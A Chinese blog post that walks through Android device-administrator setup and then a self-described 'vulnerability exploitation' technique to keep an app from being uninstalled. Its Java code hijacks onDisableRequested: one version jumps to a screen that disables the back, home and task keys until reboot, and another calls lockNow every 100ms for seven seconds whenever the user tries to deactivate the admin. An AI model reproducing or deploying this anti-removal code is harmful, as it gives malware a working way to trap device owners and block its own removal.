android设备管理器使用
2016-05-28 15:19
417 查看
关于安卓的设备管理器和设备管理器漏洞的使用
1.先在配置文件中加入
<receiver android:name=".MyAdmin"> <meta-data android:name="android.app.device_admin" android:resource="@xml/my_admin" /> <intent-filter> <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" /> </intent-filter> </receiver>
2.用于配置的xml文件my_admin.
<?xml version="1.0" encoding="utf-8"?> <device-admin xmlns:android="http://schemas.android.com/apk/res/android"> <uses-policies> <limit-password /> <watch-login /> <reset-password /> <force-lock /> <wipe-data /> </uses-policies> </device-admin>
3.java代码
public class MyAdmin extends DeviceAdminReceiver { @Override public void onReceive(Context context, Intent intent) { super.onReceive(context, intent); // Intent i = new Intent(context, MainActivity.class); // i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // context.startActivity(i); Log.e("autosetting", "receiver onReceive"); } /** * 获取设备存储的数值 * * @param context * @return */ public static SharedPreferences getDevicePreference(Context context) { return context.getSharedPreferences(DeviceMyReceiver.class.getName(), 0); } // 密码的特点 public static String PREF_PASSWORD_QUALITY = "password_quality"; // 密码的长度 public static String PREF_PASSWORD_LENGTH = "password_length"; public static String PREF_MAX_FAILED_PW = "max_failed_pw"; void showToast(Context context, CharSequence text) { Toast.makeText(context, text, Toast.LENGTH_SHORT).show(); } @Override public void onEnabled(Context context, Intent intent) { showToast(context, "设备管理:可用"); } @Override public void onDisabled(Context context, Intent intent) { showToast(context, "设备管理:不可用"); } @Override public CharSequence onDisableRequested(Context context, Intent intent) { // 这里处理 不可编辑设备。 Intent intent2 = new Intent(context, NoticeSetting.class); intent2.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); context.startActivity(intent2); context.stopService(intent);// 是否可以停止 return ""; // "这是一个可选的消息,警告有关禁止用户的请求"; } @Override public void onPasswordChanged(Context context, Intent intent) { showToast(context, "设备管理:密码己经改变"); } @Override public void onPasswordFailed(Context context, Intent intent) { showToast(context, "设备管理:改变密码失败"); } @Override public void onPasswordSucceeded(Context context, Intent intent) { showToast(context, "设备管理:改变密码成功"); } }
核心代码为 onDisableRequested方法可以做很作操作。正常情况下是取消勾选时,提示用户一句话。这里 context.stopService(intent);我把设置界面给关了。然后呢 跳转到制定死机界面 NoticeSetting。NoticeSetting界面按键任何都不管用(重写返回键,home键和任务键),只能重启。。
4 MainActivity调用
public class MainActivity extends PreferenceActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.layout); ComponentName mDeviceAdminSample = new ComponentName(this, MyAdmin.class); Intent intent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN); intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, mDeviceAdminSample); intent.putExtra(DevicePolicyManager.EXTRA_ADD_EXPLANATION, "激活设备管理器"); startActivity(intent); } }
用组件启动激活设备管理器的程序
进阶漏洞利用
–利用设备管理器的漏洞 重写DeviceAdminReceiver的onDisableRequested 只要用户点击取消启动onDisableRequested 的locknow 再休眠7秒
public CharSequence onDisableRequested(Context context, Intent intent) { //跳离当前询问是否取消激活的 dialog Intent outOfDialog = context.getPackageManager().getLaunchIntentForPackage("com.android.settings"); outOfDialog.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); context.startActivity(outOfDialog); //调用设备管理器本身的功能,每 100ms 锁屏一次,用户即便解锁也会立即被锁,直至 7s 后 final DevicePolicyManager dpm = (DevicePolicyManager) context.getSystemService(Context.DEVICE_POLICY_SERVICE); dpm.lockNow(); new Thread(new Runnable() { @Override public void run() { int i = 0; while (i < 70) { dpm.lockNow(); try { Thread.sleep(100); i++; } catch (InterruptedException e) { e.printStackTrace(); } } } }).start(); return ""; }
参考:
http://2bab.me/2015/02/09/app-cannot-be-uninstalled/
http://blog.csdn.net/androidsecurity/article/details/9124747
相关文章推荐
- Android Studio更新失败
- Android studio快捷键
- ClearEditText,自带清除功能的EditText
- Android学习之RecylerView完美实现瀑布流效果
- Android上view或布局无法失去焦点unFocus fail的一个坑
- Android studio取消上次打开的工程
- Android中Intent详解
- android studio常用快捷键整理
- android studio软件下载地址
- Android studio常用设置详解
- Android逆向之旅---SO(ELF)文件格式详解
- Android dataonly、wifionly的判别方式
- Android启动过程深入解析
- Android camare 的使用
- PhoneGap android开发:通讯录
- Android 框架大全(15个通用流行的)
- FFmpeg之一编译ForAndroid
- 初识Android进程间通信之---Messenger
- android service与子线程之浅谈
- PhoneGap android开发:多媒体API